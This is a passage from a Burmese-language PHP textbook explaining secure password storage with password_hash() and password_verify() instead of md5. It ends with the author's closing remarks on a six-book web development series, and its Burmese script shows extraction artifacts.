Password  ပေတွသာ ပါသွား]ဲ့ရင်  အ့ဲဒီ  User  ပေတွ ဖြပဿနာတက်မှာက ကိုယ့်ဝဘ်ဆိုက်  တစ်]ုထဲမှာတင်
ဖြပဿနာတက်မှာ မဟုတ်ပါဘူး။ အ့ဲဒီ Password ကို သံုးထားတဲ့ ပေနရာတိုင်းမှာ ဖြပဿနာတက်ပေတာ့မှာပါ။
ဒါပေကြကာင့် Password ပေတွကို လက်]ံသိမ်းဆည်းရတာ တာဝန်ကြကီးတယ်လ့ုိ ပေဖြပာတာပါ။

Password  ပေတွသိမ်းဆည်းမှုနဲ့ပက်သက်ရင်  အပေရးအကြကီးဆုံးအ]ျက်ကပေတာ့  ဘယ်ပေတာ့မှ  မူရင်း
Password   အတိုင်း မသိမ်းKုိ့ပါပဲ  ။ Hash လုပ်ပြပီးပေတာ့မှသာ သိမ်းရပါတယ်။ ဒီပေတာ့မှ အပေကြကာင်းအမျ ို းမျ ို း
ပေကြကာင့် User Data ပေတွ ပေပါက်ကြကား]ဲ့ရင်ပေတာင် Password ပေတွက Hash လုပ်ထားလ့ုိ ဒုက္ခပေပးတဲ့သူက
မူရင်း  Password  ကို အလွယ်တစ်ကူ သိနိုင်မှာ မဟုတ်ပေတာ့ပါဘူး။ နမူနာလုပ်]ဲ့တဲ့ ပပေရာဂျက်မှာပေတာင်
md5() ကိုသံုးပြပီး  Password  ပေတွကို  သိမ်း]ဲ့တာ ပေတွ့ ဖြမင်]ဲ့ကြကရမှာပါ။  ဖြပည့်စုံလံုပေလာက်ဖြ]င်းပေတာ့  မ
ရှိပေသးပါဘူး။ ပေစာပေစာက ပေဖြပာ]ဲ့သလုိ md5 Hash က ဖြပန်ပေKာ်မယ်ဆိုရင် ပေKာ်လ့ုိရနိုင်စရာ ရှိပေနလ့ုိပါ။ ဒါ
ပေကြကာင့် bcrypt လုိ ပုိပြပီးပေတာ့ လံုခြ]ုပံေရးအားပေကာင်းတဲ့ Hash မျ ို းကို လက်ပေတွ့မှာ အသံုးဖြပုပေပးK့ုိ လုိအပ်
ပါလိမ့်မယ်။ ဒီအတွက် PHP မှာ password_hash() လ့ုိပေ]ါ်တဲ့ Function ရှိပေနပါတယ်။ ဒီလုိပါ – 

 PHP >= 5.5 

<?php

$password = "userpassword";
$hash = password_hash($password, PASSWORD_BCRYPT);
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echo $hash;

// $2y$10$vXvL86DCY/Hh3BiIC0fx.eH06Hsea9kBz3CO2HRkNnVJyPIdtisXS

password_hash() Function  ကို  Argument  နှစ်]ုပေပးရပါတယ်။  Content  နဲ့  Algorithm  ဖြKစ်ပါ
တယ်။  Content  အပေနနဲ့  User  ရဲ့  Password  ကိုပေပးရမှာဖြKစ်ပြပီး  Algorithm  အပေနနဲ့
PASSWORD_BCRYPT လ့ုိပေ]ါ်တဲ့  Constant  ကို  အသံုးဖြပုနိုင်ပါတယ်။ ရလဒ်ကို  echo ထုတ်ကြကည့်တဲ့
အ]ါ အပေတာ်ပေလး ရှည်လ�ားတဲ့ ရလဒ် Hash ကို ပေတွ့ ဖြမင်ရမှာ ဖြKစ်ပါတယ်။ စာKတ်သူကိုယ်တိုင်စမ်းကြကည့်
လုိက်ရင် ရမယ့် ရလဒ်နဲ့ အ]ုဒီမှာဖြပထားတဲ့ ရလဒ်တူမှာ မဟုတ်ပါဘူး။

ပေစာပေစာက Hash Function ပေတဟွာ ပေပးလုိက်တဲ့  Content တူရင် ရလဒ်တူတယ်လုိ့ ပေဖြပာပါတယ်။ အ]ု
ဘာပေကြကာင့် မတူတာလဲ။ Hash လုပ်တဲ့အ]ါ ဒီအတိုင်းမလုပ်ဘဲ Content နဲ့အတူ Random တန်Kုိးတစ်]ုနဲ့
ပေပါင်းပြပီးပေတာ့  Hash  လုပ်ထားတဲ့အတွက် အ့ဲဒီ  Random  တန်Kုိးပေကြကာင့်  Hash  က လုိက်ပေဖြပာင်းပေနတာ
ဖြKစ်ပါတယ်။ ပေရှ့ ဆုံးက $2y$10$ ထိကပေတာ့ တူနိုင်ပါတယ်။ သ့ူပေနာက်ကတန်Kုိးပေတွသာ ပေဖြပာင်းပေနမှာ
ပါ။ 2y က အသံုးဖြပုထားတဲ့  Algorithm ဖြKစ်ပြပီး 10 ကပေတာ့ Cost ကိုဆိုလိုတာပါ။ Content ကို ပေဖြ]Kျက်
တာ ဘယ်နှစ်]ါ Kျက်သလဲဆိုတဲ့ အပေရအတွက်ပါ။  10  ဆိုတာ  2 power 10  ဖြKစ်လ့ုိ  1024  ကြကိမ် ပေဖြ]Kျက်
အလုပ်လုပ်ထားတယ်ဆိုတဲ့ သပေဘာပါ။ အ့ဲဒီ  $2y$10$ ပေနာက်ကလုိက်တဲ့ စာလံုး  (၂၂) လံုးက Hash မ
လုပ်]င် ထည့်လုိက်တဲ့ Random တန်KုိးဖြKစ်ပြပီး တစ်ကယ် Hash Code ကပေတာ့ ပေနာက်ဆုံးကပေနလုိက်တဲ့
(၃၁) လံုး ဖြKစ်ပါတယ်။ 

ပေဖြပာ]ျင်လုိ့သာ  ဒါပေတွ  ပေဖြပာပေနတာပါ။  အသံုးဖြပုမှု  ရှုပေထာင့်ကပေန  ကြကည့်ရင်  password_hash()
Function ကို  Password ပေပးလုိက်ရင် လံုခြ]ုံစိတ်]ျရတဲ့၊ ဖြပန်ပေKာ်K့ုိ]က်]ဲတဲ့  Hash Code ထွက်လာတယ်
လ့ုိ မှတ်ထားရင်လည်း ရပါတယ်။ အ့ဲဒီလုိရလာတဲ့ Hash ကို သိမ်းဆည်း ထားရမှာဖြKစ်ပါတယ်။

နမူနာပပေရာပပေရာဂျက်မှာဆိုရင်  Register  လုပ်တုံးက Password  ကို  md5() နဲ့  Hash  လုပ်ပြပီးသိမ်း]ဲ့လ့ုိ
Login  ဝင်တဲ့အ]ါ  User  ပေပးလာတဲ့  Password  ကို  md5() နဲ့ပဲ  Hash  ပေဖြပာင်းပြပီးမှ  မှန်ကန်မှုရှိမရှိ
တိုက်စစ် ထားပါတယ်။ အ]ု password_hash() နဲ့ ပေဖြပာင်းထားတဲ့ Hash တန်Kုိးကိုပေရာ ဘယ်လုိဖြပန်
တိုက်စစ်ရမလဲ။ password_verify() ဆိုတဲ့ Function ကို သံုးရပါတယ်။ ဒီလုိပါ –
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 PHP >= 5.5 

<?php

$hash = '$2y$10$vXvL86DCY/Hh3BiIC0fx.eH06Hsea9kBz3CO2HRkNnVJyPIdtisXS';

if(password_verify('userpassword', $hash)) {
    echo 'Correct Password';
} else {
    echo 'Incorrect Password';
}

// Correct Password

သိမ်းထားတဲ့  Hash  ဟာ  userpassword နဲ့  တူညီမှုရှိသလားဆိုတာကို  password_verify() နဲ့
စစ်ကြကည့်လုိက်တာပါ။ တူညီမှုရှိတဲ့အတွက်  Correct Password  ဆိုတဲ့  ရလဒ်ကို  ဖြပန်လည်ရရှိမှာပဲ ဖြKစ်ပါ
တယ်။ ဒီနည်းနဲ့  User က Login ဝင်]ျနိ်မှာ ပေပးလာတဲ့  Password နဲ့ သိမ်းထားတဲ့  Hash ကိုက်ညီမှုရှိမရှိ
စစ်ကြကည့်နိုင်မှာပဲ ဖြKစ်ပါတယ်။

Conclusion
ဆက်ကြကည့်မယ်ဆိုရင်  ကြကည့်သင့်တာပေလးပေတွ  ရှိပေသးပေပမယ့်  ဒီပေလာက်ဆိုရင်  လံုခြ]ုံပေရးနဲ့ပက်သက်ပြပီး
ကိုယ့်အိမ်တံ]ါးကိုယ်  ပေသာ့]တ်နိုင်တဲ့  အဆင့်ပေလာက်ပေတာ့  ရသွားပြပီပဲ  ဖြKစ်ပါတယ်။  ဒီအ]န်းမှာ  ပေKာ်ဖြပ
ထားတဲ့  ဗဟုသုတပေတွကို  အသံုးဖြပုပြပီး  ပြပီး]ဲ့တဲ့အ]န်းပေတွမှာ  ပေရး]ဲ့တဲ့  ပပေရာဂျက်ကိုလည်း  လုိအပ်သလုိ
ဖြပင်ဆင်ဖြKည့်စွက်ကြကည့်K့ုိ အကြကံဖြပုပါတယ်။  SQL  Injection  အတွက်ပေတာ့  မူလကတည်းက  Prepare
Statement ပေတွကို အသုံးဖြပုထားပြပီး ဖြKစ်ပါတယ်။ XSS အကာအကွယ်အတွက် Helper Method ထပ်တိုး
ပြပီးပေတာ့ လုိအပ်တဲ့ပေနရာပေတွမှာ လုိက်ထည့်ပေပးသင့်ပါတယ်။  CSRF  အကာအကွယ်ကိုလည်း ပေနရာတိုင်း
မှာ  မထည့်နိုင်ရင်ပေတာင်မှ  အပေရးကြကီးတဲ့  ပေနရာအ]ျ ို ့မှာ  ထည့်ပေပးသင့်ပါတယ်။  Password  ပေတွစီမံတဲ့
ပေနရာမှာလည်း md5() အစား အ]ုပေလ့လာ]ဲ့တဲ့  password_hash() တို့  password_verify()
တို့နဲ့ ပေဖြပာင်းပေပးသင့်ပါတယ်။ 

ပပေရာဂျက်ကုဒ်ပေတွ စမ်းသပ်ပေရးသားရင်းပဲဖြKစ်ဖြKစ်၊ တစ်ဖြ]ားအပေကြကာင်းပေကြကာင့်ပဲဖြKစ်ဖြKစ် အဆင်မပေဖြပတာ
ပေတွ၊  သိ]ျင်တာပေတွ  ရှရိင်  Facebook  မှာ  လုိတိုရှင်း    -    အပေမးအပေဖြK   ဆိုတဲ့  Group  တစ်]ု  ရှိပါတယ်။
ကျွန်ပေတာ်စာပေရးသူလည်း  Group  ထဲမှာရှိသလို၊  Join  ထားပြပီးပေတာ့  တစ်ဖြ]ား  စာKတ်သူများနဲ့လည်း
အ]ျင်း]ျင်း ပေဆွးပေနွးတိုင်ပင်နိုင်ပါတယ်။

https://www.facebook.com/groups/1002350763492488
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နိမေဂုံးချုပ်

ဒီစာအုပ်ဟာ လုိတိုရှင်းစာအုပ် စီးရီးထဲမှာ ပေနာက်ဆုံးတစ်အုပ်အပေနနဲ့ ပေရးဖြKစ်]ဲ့တဲ့ စာအုပ်ပါ။ လုိတိုရှင်းလ့ုိ
ပေ]ါင်းစဉ်တပ်ထားပေပမယ့်  ပါသင့်တာပေတွ  ထည့်ရင်းနဲ့  ပံုမှန်စာအုပ်ကြကီးတစ်အုပ်စာပေတာင်  ဖြKစ်သွားပါ
တယ်။  PHP  နဲ့ပက်သက်ရင်လည်း  ပါသင့်တာပေတွ  စုံပေအာင်ပါသွားလ့ုိ  စာKတ်သူများ  နှစ်သက်အသံုးဝင်
လိမ့်မယ်လ့ုိ ပေမ�ာ်လင့်ပါတယ်။ ဒီစာအုပ်မတိုင်]င် ပေရှ့ ပုိင်းမှာ React လိမေုတိမေုရှင်း၊ Laravel လိမေုတိမေုရှင်း၊ API လိမေု
တိမေုရှင်း၊ Bootstrap  လိမေုတိမေုရှင်း၊  JavaScript  လိမေုတိမေုရှင်း ဆိုတဲ့စာအုပ်  (၅)  အုပ် ထွက်ထားပြပီး ဖြKစ်ပါတယ်။
အ]ု ဒီစာအုပ်နဲ့ဆိုရင် စုစုပေပါင်း (၆) အုပ် ရှိသွားပါပြပီ။

အပေဖြ]]ံအသင့်အတင့် ကြကိုတင်ပေလ့လာKူးသူပေတွကပေတာ့ ဒီစာအုပ် (၆) အုပ်ထဲက မိမိနှစ်သစ်ရာ စာအုပ်ကို
နှစ်သက်ရာအစီအစဉ်နဲ့  ပေလ့လာနိုင်ပါတယ်။  အ]ုမှ  စပေလ့လာမယ့်သူပေတကွပေတာ့  ဒီအစီအစဉ်အတိုင်း
Kတ်ရှုပေလ့လာသင့်ပါတယ်။

၁။ Bootstrap လုိတိုရှင်း
၂။ JavaScript လုိတိုရှင်း
၃။ PHP လုိတိုရှင်း
၄။ Laravel လုိတိုရှင်း
၅။ React လုိတိုရှင်း
၆။ API လုိတိုရှင်း
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Bootstrap လိမေုတိမေုရှင်း  နဲ့  JavaScript  လိမေုတိမေုရှင်း  တို့ဟာ အပေဖြ]]ံအဆင့် စာအုပ်ပေတွဖြKစ်ပါတယ်။ ဒီစာအုပ်
PHP  လိမေုတိမေုရှင်း ကပေတာ့  အလယ်အလတ်အဆင့်  ဖြKစ်ပါတယ်။  ပေနာက်ထပ်  ဆက်လက်ပေလ့လာသင့်တဲ့
Laravel လိမေုတိမေုရှင်း နဲ့ React လိမေုတိမေုရှင်း တို့ကပေတာ့ လုပ်ငန်း]ွင်သုံး နည်းပညာပေတွ ဖြKစ်သွားပါပြပီ။ API လိမေု
တိမေုရှင်း ကပေတာ့  အဆင့်ဖြမင့်ပုိင်းလ့ုိ  ပေဖြပာလ့ုိရနိုင်ပါတယ်။  ဒါပေကြကာင့်  ဒီအစီအစဉ်အတိုင်းသာ  စနစ်တကျ
ပေလ့လာသွားမယ်ဆိုရင်  အပေဖြ]]ံအဆင့်ကပေန လုပ်ငန်း]ွင်ဝင်  Web Developer  တစ်ဦးဖြKစ်တဲ့  အဆင့်ထိ
ပေရာကရ်ှိသွားနိုင်ပါတယ်။ ဒီစာအုပ် စီးရီးထဲမှာ  Front-End  ပုိင်းပေတွ  Back-End  ပုိင်းပေတွ အကုန် စုစည်း
ပါဝင်သွားတာပါ။

အ]ုဆိုရင် ပေရးမယ်လ့ုိ ရည်ရွယ်ထားတဲ့  လုိတိရုှင်း  (၆)  အုပ်တွဲစီးရီး ပြပီးဖြပည့်စုံသွားပြပီ ဖြKစ်တဲ့အတွက်  (၆)
အုပ်လံုးကို  ပေပါင်း]ျုပ်ပြပီး  Professional  Web Developer 2021 ဆိုတဲ့အမည်နဲ့  ထပ်ထုတ်K့ုိလည်း စီစဉ်
ထားပါတယ်။  စာမျက်နှာ  စုစုပေပါင်း  (၁၀၀၀)  နီးပါး  ဖြKစ်သွားမယ့်  အထူးထုတ်  စာအုပ်ကြကီးပါ။  ပါဝင်မယ့်
အပေကြကာင်းအရာပေတကွပေတာ့ သိပ်ပေဖြပာင်းမှာမဟုတ်ပါဘူး၊ အများအားဖြKင့် အတူတူပဲဖြKစ်မှာပါ။ အမှတ်တရ
သိမ်းKို့ပဲဖြKစ်ဖြKစ်၊  လက်စွဲထားပေလ့လာKုိ့ပဲဖြKစ်ဖြKစ်၊  အသိမိတ်ပေဆွပေတွကို  လက်ပေဆာင်ပေပးK့ုိပဲဖြKစ်ဖြKစ်၊
ပေပါင်း]ျုပ် တစ်စုတစ်စည်းထဲ လုိ]ျင်တဲ့သူပေတွ နှစ်သက်ကြကပါလိမ့်မယ်။

ထွက်သမ� စာအုပ်ပေတွကို  တစ်စိုက်မတ်မတ် Kတ်ရှုအားပေပးကြကသူများ အပါအဝင် စာKတ်ပရိတ်သတ်များ
အားလံုးကို  ပေကျးဇူးအထူးတင်ပေကြကာင်းပေဖြပာရင်  နိဂုံး]ျုပ်အပ်ပါတယ်။  အားလုံးပဲ  ပေရာဂါကပ်ပေဘးပေတွ
ကပေန ကင်းပေဝးပြပီး မိမိတို့ပေမ�ာ်မှန်းထားတဲ့ ပေအာင်ဖြမင်မှုများကို ရရိှနိုင်ကြကပါပေစ။

အိမေ��ာင် (Fairway)
၂၀၂၁ ]ုနှစ်၊ ဇန်နဝါရီလ (၂၃) ရက်ပေန့တွင် ပေရးသားပြပီးစီးသည်။
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